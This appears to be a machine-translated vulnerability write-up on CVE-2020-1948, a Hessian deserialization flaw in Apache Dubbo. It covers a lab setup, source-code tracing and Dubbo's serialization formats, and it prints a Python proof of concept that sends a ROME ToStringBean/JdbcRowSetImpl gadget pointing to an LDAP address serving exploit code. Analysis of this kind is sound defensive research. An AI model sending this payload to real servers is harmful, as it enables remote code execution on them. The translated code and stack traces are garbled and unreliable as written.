[CVE-2020-1948] Apache Dubbo Deserialization Vulnerability Analysis

Introduction to the

Dubbo is a high-performance, lightweight, open source Java RPC framework that provides three core capabilities: interface-oriented remote method invocation, intelligent fault tolerance and load balancing, and automatic service registration and discovery.

POC

https://www.mail-archive.com/[email protected]/msg06544.html

Affects version

  • Dubbo 2.7.0 to 2.7.6
  • Dubbo server to 2.6.7
  • Dubbo all 2.5.x versions (not supported by official team any longer)

Environment set up

https://github.com/apache/dubbo-spring-boot-project

Download version 2.7.6, open the dubo-spring-boot-samples folder with IDEA, and add to the POM under provider-sample:

        <dependency>
                 <groupId>com.rometools</groupId>
                 <artifactId>rome</artifactId>
                 <version>1.7.0</version>
         </dependency>
Copy the code

Maven starts running springboot.

Vulnerability analysis

Python’s poc

# -*- coding: utf-8 -*-
#pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1'.12345)  JdbcRowSetImpl=new_object(  'com.sun.rowset.JdbcRowSetImpl'. dataSource="Ldap: / / 127.0.0.1:8087 / exploits". strMatchColumns=["foo"]  ) JdbcRowSetImplClass=new_object(  'java.lang.Class'. name="com.sun.rowset.JdbcRowSetImpl". ) toStringBean=new_object(  'com.rometools.rome.feed.impl.ToStringBean'. beanClass=JdbcRowSetImplClass,  obj=JdbcRowSetImpl  )  resp = client.send_request_and_return_response(  service_name='cn.rui0'. method_name='rce'. args=[toStringBean]) Copy the code

Send a poc

org.apache.dubbo.remoting.RemotingException: Not found exported service: Cn. Rui0:1.0:12345 in [org. Apache. Dubbo. Spring. The boot. The demo. Consumer. DemoService: 1.0.0:12345]. May be the version or group mismatch, channel: consumer: / 127.0.0.1:61624 - - > the provider: / 127.0.0.1:12345 message: RpcInvocation [methodName = rce, parameterTypes=[class com.rometools.rome.feed.impl.ToStringBean], arguments=[], attachments={input=294, path=cn.rui0, Dubbo = 2.5.3, Version = 1.0}] at org. Apache. Dubbo.. RPC protocol. The dubbo. DubboProtocol. GetInvoker (DubboProtocol. Java: 265) ~ [dubbo - 2.7.6 jar: 2.7.6] the at org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument(CallbackServiceCodec.java:280) ~ [dubbo - 2.7.6 jar: 2.7.6] the at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:161) [dubbo - 2.7.6. Jar: 2.7.6] the at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo - 2.7.6. Jar: 2.7.6] at org. Apache. Dubbo, remoting. Transport. DecodeHandler. Decode (57) DecodeHandler. Java: [dubbo - 2.7.6. Jar: 2.7.6] at org. Apache. Dubbo, remoting. Transport. DecodeHandler. Received (44) DecodeHandler. Java: [dubbo - 2.7.6. Jar: 2.7.6] the at org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(ChannelEventRunnable.java:57) [dubbo - 2.7.6. Jar: 2.7.6] at Java. Util. Concurrent. ThreadPoolExecutor. RunWorker (ThreadPoolExecutor. Java: 1142) [na: 1.8.0 comes with _121] at Java. Util. Concurrent. ThreadPoolExecutor $Worker. The run (ThreadPoolExecutor. Java: 617) [na: 1.8.0 comes with _121] the at Java. Lang. Thread. The run (Thread. Java: 745) [na: 1.8.0 comes with _121]Copy the code

According to the error, the trigger has been exposed.

From the at org. Apache. Dubbo. RPC. Protocol. The dubbo. DecodeableRpcInvocation. Decode (DecodeableRpcInvocation. Java: 79) [Dubo-2.7.6.jar :2.7.6] Start.

As to theorg\apache\dubbo\rpc\protocol\dubbo\DecodeableRpcInvocation.javaLine 139.If in is input, take a look at how this readObject is written.

public <T> T readObject(Class<T> cls) throws IOException, ClassNotFoundException { return (T) mH2i.readObject(cls); }

Mh2i. readObject(CLS) Continue readObject,mH2iThe content of the is

    public Object readObject(Class cl)
            throws IOException {
        return readObject(cl, null.null);
    }

 @Override  public Object readObject(Class expectedClass, Class
             ... expectedTypes) throws IOException {  if (expectedClass == null || expectedClass == Object.class)  return readObject();   int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();   switch (tag) {  case 'N':  return null;   case 'H': {  Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);   booleankeyValuePair = expectedTypes ! =null && expectedTypes.length == 2;  // fix deserialize of short type  return reader.readMap(this  , keyValuePair ? expectedTypes[0] : null  , keyValuePair ? expectedTypes[1] : null);  }   case 'M': {  String type = readType();   // hessian/3bb3  if ("".equals(type)) {  Deserializer reader;  reader = findSerializerFactory().getDeserializer(expectedClass);   return reader.readMap(this);  } else {  Deserializer reader;  reader = findSerializerFactory().getObjectDeserializer(type, expectedClass);   return reader.readMap(this);  }  }   case 'C': {  readObjectDefinition(expectedClass);   return readObject(expectedClass);  }   case 0x60:  case 0x61:  case 0x62:  case 0x63:  case 0x64:  case 0x65:  case 0x66:  case 0x67:  case 0x68:  case 0x69:  case 0x6a:  case 0x6b:  case 0x6c:  case 0x6d:  case 0x6e:  case 0x6f: {  int ref = tag - 0x60;  int size = _classDefs.size();   if (ref < 0 || size <= ref)  throw new HessianProtocolException("'" + ref + "' is an unknown class definition");   ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);   return readObjectInstance(expectedClass, def);  }   case 'O': {  int ref = readInt();  int size = _classDefs.size();   if (ref < 0 || size <= ref)  throw new HessianProtocolException("'" + ref + "' is an unknown class definition");   ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);   return readObjectInstance(expectedClass, def);  }   case BC_LIST_VARIABLE: {  String type = readType();   Deserializer reader;  reader = findSerializerFactory().getListDeserializer(type, expectedClass);   Object v = reader.readList(this, -1);   return v;  }   case BC_LIST_FIXED: {  String type = readType();  int length = readInt();   Deserializer reader;  reader = findSerializerFactory().getListDeserializer(type, expectedClass);   booleanvalueType = expectedTypes ! =null && expectedTypes.length == 1;   Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);   return v;  }   case 0x70:  case 0x71:  case 0x72:  case 0x73:  case 0x74:  case 0x75:  case 0x76:  case 0x77: {  int length = tag - 0x70;   String type = readType();   Deserializer reader;  reader = findSerializerFactory().getListDeserializer(null, expectedClass);   booleanvalueType = expectedTypes ! =null && expectedTypes.length == 1;   // fix deserialize of short type  Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);   return v;  }   case BC_LIST_VARIABLE_UNTYPED: {  Deserializer reader;  reader = findSerializerFactory().getListDeserializer(null, expectedClass);   booleanvalueType = expectedTypes ! =null && expectedTypes.length == 1;   // fix deserialize of short type  Object v = reader.readList(this, -1, valueType ? expectedTypes[0] : null);   return v;  }   case BC_LIST_FIXED_UNTYPED: {  int length = readInt();   Deserializer reader;  reader = findSerializerFactory().getListDeserializer(null, expectedClass);   booleanvalueType = expectedTypes ! =null && expectedTypes.length == 1;   // fix deserialize of short type  Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);   return v;  }   case 0x78:  case 0x79:  case 0x7a:  case 0x7b:  case 0x7c:  case 0x7d:  case 0x7e:  case 0x7f: {  int length = tag - 0x78;   Deserializer reader;  reader = findSerializerFactory().getListDeserializer(null, expectedClass);   booleanvalueType = expectedTypes ! =null && expectedTypes.length == 1;   // fix deserialize of short type  Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);   return v;  }   case BC_REF: {  int ref = readInt();   return _refs.get(ref);  }  }   if (tag >= 0)  _offset--;   // hessian/3b2i vs hessian/3406  // return readObject();  Object value = findSerializerFactory().getDeserializer(expectedClass).readObject(this);  return value;  } Copy the code

Came tocom\alibaba\com\caucho\hessian\io\Hessian2Input.java You can see the class com. Rometools. Rome. Feed. Impl. ToStringBean is expected expectedClass (can see fastjson expect class),


The second loop goes to class java.lang. class, followed by com\ Alibaba \com\ Caucho \hessian\ IO \ classdeserializer.java

    public Object readObject(AbstractHessianInput in, String[] fieldNames)
            throws IOException {
        int ref = in.addRef(null);

        String name = null;
  for (int i = 0; i < fieldNames.length; i++) {  if ("name".equals(fieldNames[i]))  name = in.readString();  else  in.readObject();  }   Object value = create(name);   in.setRef(ref, value);   return value;  } Copy the code

Third com \ alibaba \ com \ caucho \ hessian \ IO \ ClassDeserializer Java


Principle of dubbo RPC

Root cause Let’s learn the principle of Dubbo RPC. Check out this article:https://www.jianshu.com/p/93c00a391e09andhttps://blog.csdn.net/zhuqiuhui/article/details/89463642

Dubbo supports multiple serialization methods and serialization is protocol specific. For example, dubbo dubbo, Hessian2, Java, CompactedJava, RMI default to Java, and HTTP json.

  • Dubbo serialization: Ali has not yet developed an efficient Java serialization implementation, and ali does not recommend its use in production environments
  • Hessian2 Serialization: Hessian is an efficient way to serialize binary data across languages. But this is actually not native Hessian2 serialization, but Ali’s modified Hessian Lite, which is the serialization enabled by Dubbo RPC by default
  • Json serialization: there are two implementations, one is the fastJSON library of Ali, the other is the simple JSON library of Dubbo itself, but its implementation is not particularly mature, and the performance of JSON text serialization is generally inferior to the above two binary serialization.
  • Java serialization: mainly using Java Java serialization JDK implementation, performance is not ideal.

The four main serialization methods decrease in performance from top to bottom. For the remote call method of Dubbo RPC that pursues high performance, in fact, only 1 and 2 efficient serialization methods are suitable, and the first dubbo serialization is not mature, so there are actually only 2 available. Therefore, Dubbo RPC adopts hessian2 serialization by default.

But Hessian is an older serialization implementation, and it’s cross-language, so it’s not optimized for Java alone. Dubbo RPC is really a Java to Java remote call, and there is no need for cross-language serialization (and certainly not against cross-language serialization).

This article is formatted using MDNICE